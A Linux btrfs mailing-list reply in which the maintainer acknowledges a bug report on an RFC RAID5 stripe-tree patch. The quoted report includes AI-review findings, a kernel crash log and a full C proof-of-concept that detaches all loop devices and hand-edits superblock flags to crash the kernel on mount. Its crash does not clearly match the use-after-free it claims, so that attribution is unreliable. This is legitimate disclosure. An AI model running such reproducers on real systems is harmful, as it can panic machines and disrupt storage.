Re: [RFC 08/15] btrfs: implement RAID stripe-tree RAID5 writes

Johannes Thumshirn <[email protected]>
Newsgroups org.kernel.vger.linux-btrfs
Message-ID <[email protected]>
On 6/22/26 10:20 PM, XIAO WU wrote:
> Hi Johannes,
>
> I came across the Sashiko AI review [1] of this patch and was able to
> reproduce a null pointer dereference during mount on a RAID5 filesystem
> with the raid-stripe-tree feature enabled.  I wanted to share the
> concrete evidence since it crashes deterministically with KASAN.
>
> > +    set->stripe_units[i].pstripe = pstripe;
>
> The Sashik identified that btrfs_stripe_set_alloc() stores a
> direct pointer into bioc->stripes[] without taking a reference on the
> bioc.  When the data bios complete first, the bioc can be freed before
> the async parity workqueue dereferences pstripe.  The review also noted
> several other issues in the same patch:
>
> - raid56_write_end_io_work() completes the data ordered extent before
>   the parity bio finishes — an fsync could return success while data
>   remains without parity protection on disk.
>
> - btrfs_submit_raid56_write() overwrites bio->bi_end_io and may leak
>   the base bioc allocation reference on every chunk write.
>
> - btrfs_rst_raid56_write() folds the full unsplit bio size into the
>   parity buffer, which could cause double-folding on the remainder
>   when the caller loops after btrfs_split_bio().
>
> - bio_set_dev(bio, pstripe->dev->bdev) followed by submit_bio()
>   will panic on a degraded array where the missing device's bdev
>   is NULL.
>
Hi,

Sorry for the late reply. Thanks for the report. As I wrote in the cover 
letter this is a pure RFC and not intended to be used yet. I'll fix it 
up so the 1st official submission won't have this bug.


> [Reproduction]
>
> The PoC creates three loopback devices, makes a RAID5 btrfs, then
> manually flips the raid-stripe-tree incompat flag in each superblock
> (recalculating CRC32C) before mounting.  The null pointer dereference
> occurs deterministically during mount in btrfs_read_block_groups().
>
> [Crash log — kernel 7.1.0-g3b216e369cba, CONFIG_KASAN=y, SMP]
>
>   BTRFS info (device loop0): first mount of filesystem df5f7a81-...
>   BTRFS info (device loop0): using crc32c checksum algorithm
>
>   Oops: general protection fault, probably for non-canonical address
>   0xdffffc0000000020: 0000 [#1] SMP KASAN NOPTI
>   KASAN: null-ptr-deref in range [0x0000000000000100-0x0000000000000107]
>
>   RIP: 0010:btrfs_update_global_block_rsv+0x452/0x960
>   RAX: 0000000000000020 RBX: 0000000000000000 RCX: 0000000000000000
>   RDX: dffffc0000000000 RBP: 0000000000000000
>
>   Call Trace:
>    <TASK>
>    btrfs_update_global_block_rsv+0x452/0x960
>    btrfs_read_block_groups+0x16ee/0x2e20
>    open_ctree+0x4804/0x8370
>    btrfs_get_tree+0x1346/0x2740
>    vfs_get_tree+0x93/0x340
>    path_mount+0x7c4/0x2390
>    __x64_sys_mount+0x298/0x310
>    do_syscall_64+0x129/0x850
>    entry_SYSCALL_64_after_hwframe+0x77/0x7f
>    </TASK>
>
>   Kernel panic - not syncing: Fatal exception
>
> The PoC is attached below.  It compiles with:
>
>   gcc -o poc poc.c -static
>
> [1] 
> https://sashiko.dev/#/patchset/20260619090211.497100-1-johannes.thumshirn%40wdc.com
>     (Sashiko AI code review — "Use-After-Free", Severity: High)
>
> Thanks,
> XIAOWU
>
> /*
>  * PoC: btrfs RAID stripe-tree RAID5 write Use-After-Free
>  *
>  * Bug: In btrfs_stripe_set_alloc(), raw pointer into bioc->stripes[] is
>  * stored as pstripe without incrementing bioc refcount.
>  */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <stdint.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <sys/mount.h>
> #include <sys/wait.h>
>
> #define MOUNT_POINT "/mnt"
>
> int main(void)
> {
>     char cmd[1024];
>
>     setbuf(stdout, NULL);
>
>     system("losetup -D 2>/dev/null; umount /mnt 2>/dev/null");
>
>     printf("[*] Creating backing files...\n");
>     for (int i = 0; i < 3; i++) {
>         snprintf(cmd, sizeof(cmd),
>             "dd if=/dev/zero of=/tmp/disk%d.img bs=1M count=512 
> 2>/dev/null", i);
>         system(cmd);
>     }
>
>     printf("[*] Setting up loop devices...\n");
>     for (int i = 0; i < 3; i++) {
>         snprintf(cmd, sizeof(cmd), "losetup /dev/loop%d 
> /tmp/disk%d.img 2>&1", i, i);
>         system(cmd);
>     }
>
>     printf("[*] Creating RAID5 btrfs...\n");
>     system("mkfs.btrfs -f -d raid5 -m raid5 /dev/loop0 /dev/loop1 
> /dev/loop2 2>&1");
>     system("sync");
>
>     /*
>      * Write Python script for superblock update to a file first
>      * to avoid quoting issues.
>      */
>     printf("[*] Writing and running Python fix script...\n");
>     system("cat > /tmp/fix_sb.py << 'SCRIPT'\n"
>         "#!/usr/bin/env python3\n"
>         "import struct, os, sys\n"
>         "\n"
>         "# CRC32C using polynomial 0x1EDC6F41 (reflected: 0x82F63B78)\n"
>         "table = [0] * 256\n"
>         "for i in range(256):\n"
>         "    crc = i\n"
>         "    for _ in range(8):\n"
>         "        if crc & 1:\n"
>         "            crc = (crc >> 1) ^ 0x82F63B78\n"
>         "        else:\n"
>         "            crc >>= 1\n"
>         "    table[i] = crc\n"
>         "\n"
>         "def crc32c_calc(data):\n"
>         "    crc = 0xFFFFFFFF\n"
>         "    for byte in data:\n"
>         "        crc = (crc >> 8) ^ table[(crc ^ byte) & 0xFF]\n"
>         "    return crc ^ 0xFFFFFFFF\n"
>         "\n"
>         "# Verify with known test vector\n"
>         "test_csum = crc32c_calc(b'\\x00' * 4064)  # 4096-32=4064\n"
>         "print(f'Test CRC32C of 4064 zero bytes: {test_csum:08x}')\n"
>         "\n"
>         "for dev in ['/dev/loop0', '/dev/loop1', '/dev/loop2']:\n"
>         "    for sb_base in [65536, 67108864]:\n"
>         "        try:\n"
>         "            with open(dev, 'r+b') as f:\n"
>         "                f.seek(sb_base)\n"
>         "                sb = bytearray(f.read(4096))\n"
>         "                \n"
>         "                # incompat_flags at offset 0xBC (188)\n"
>         "                val = struct.unpack('<Q', sb[188:196])[0]\n"
>         "                new_val = val | (1 << 14)\n"
>         "                print(f'{dev}@{sb_base}: 0x{val:x} -> 
> 0x{new_val:x}')\n"
>         "                struct.pack_into('<Q', sb, 188, new_val)\n"
>         "                \n"
>         "                # Compute CRC32C over bytes 32..4095\n"
>         "                csum = crc32c_calc(bytes(sb[32:4096]))\n"
>         "                struct.pack_into('<I', sb, 0, csum)\n"
>         "                \n"
>         "                f.seek(sb_base)\n"
>         "                f.write(bytes(sb))\n"
>         "        except Exception as e:\n"
>         "            print(f'Error: {e}', file=sys.stderr)\n"
>         "os.sync()\n"
>         "print('Done!')\n"
>         "SCRIPT\n");
>
>     system("python3 /tmp/fix_sb.py 2>&1");
>
>     printf("[*] Attempting mount ro,rescue=ignorebadroots...\n");
>     if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_RDONLY,
>           "rescue=ignorebadroots,rescue=usebackuproot") != 0) {
>         perror("mount with rescue");
>         /* Try without usebackuproot */
>         if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_RDONLY,
>               "rescue=ignorebadroots") != 0) {
>             perror("mount simple rescue");
>             system("dmesg | tail -5");
>             goto cleanup;
>         }
>     }
>     printf("[+] Mounted ro!\n");
>
>     /* Try to remount rw */
>     if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_REMOUNT, NULL) == 
> 0) {
>         printf("[+] Remounted rw!\n");
>         unsigned char *buf = malloc(262144);
>         if (buf) {
>             memset(buf, 0xA5, 262144);
>             int fd = open(MOUNT_POINT "/test", O_CREAT | O_RDWR, 0644);
>             if (fd >= 0) {
>                 for (int i = 0; i < 50; i++) {
>                     write(fd, buf, 262144);
>                     fsync(fd);
>                 }
>                 close(fd);
>             }
>             free(buf);
>         }
>         sync();
>         usleep(500000);
>     }
>     umount(MOUNT_POINT);
>
> cleanup:
>     system("losetup -D 2>/dev/null");
>     for (int i = 0; i < 3; i++) {
>         snprintf(cmd, sizeof(cmd), "rm -f /tmp/disk%d.img", i);
>         system(cmd);
>     }
>     return 0;
> }
>
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.